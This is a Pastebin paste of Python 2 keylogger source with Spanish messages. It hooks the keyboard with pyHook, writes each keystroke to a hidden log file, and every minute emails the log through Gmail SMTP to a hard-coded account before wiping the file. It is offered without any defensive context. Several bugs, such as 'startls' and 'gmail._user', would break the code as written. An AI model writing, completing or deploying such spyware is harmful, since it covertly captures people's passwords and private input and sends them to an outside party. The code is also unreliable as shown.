Advertisement
Guest User

test

a guest
Oct 27th, 2018
105
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.79 KB | None | 0 0
  1. import pyHook, pythoncom, sys, logging
  2. import time, datetime
  3.  
  4. wait_seconds = 60
  5. timeout = time.time() + wait_seconds
  6. file_log = 'C:\\secret\\dat.txt'
  7.  
  8. def TimeOut():
  9. if time.time() > timeout:
  10. return True
  11. else:
  12. return False
  13.  
  14. def SendEmail(user, pwd, recipient, subject, body):
  15. import smtplib
  16.  
  17. gmail_user = user
  18. gmail_pass = pwd
  19. FROM = user
  20. TO = recipient if type (recipient) is list else [recipient]
  21. SUBJECT = subject
  22. TEXT = body
  23.  
  24. message = """\From: %s\nTo: %s\nSubject: %s\n\n%s
  25. """ % (FROM, ", ".join(TO), SUBJECT, TEXT)
  26. try:
  27. server = smtplib.SMTP("smtp.gmail.com", 587)
  28. server.ehlo()
  29. server.startls()
  30. server.login(gmail._user, gmail_pass)
  31. server.sendmail (FROM, TO, message)
  32. server.close()
  33. print 'Correo enviado satisfactoriamente!'
  34. except:
  35. print 'Error al mandar Correo!'
  36.  
  37. def FormatAndSendLogEmail():
  38. with open(file_log, 'r+') as f:
  39. actualdate = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
  40. data = f.read().replace('\n', '');
  41. data = 'Log capturado a las: '+ actualdate + '\n' + data
  42. SendEmail ("xxxxx@gmail.com", "xxxxxxx", "xxxxxx@gmail.com",
  43. 'Nuevo log - '+actualdate, data)
  44. f.seek(0)
  45. f.truncate()
  46.  
  47.  
  48. def OnKeyboardEvent (event):
  49. logging.basicConfig(filename=file_log, level=logging.DEBUG,
  50. format = '%(message)s')
  51. logging.log(10, chr(event.Ascii))
  52. return True
  53.  
  54. hooks_manager = pyHook.HookManager()
  55. hooks_manager.KeyDown = OnKeyboardEvent
  56. hooks_manager.HookKeyboard()
  57.  
  58. while True:
  59. if TimeOut():
  60. FormatAndSendLogEmail()
  61. timeout = time.time() + wait_seconds
  62.  
  63. pythoncom.PumpWaitingMessages()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement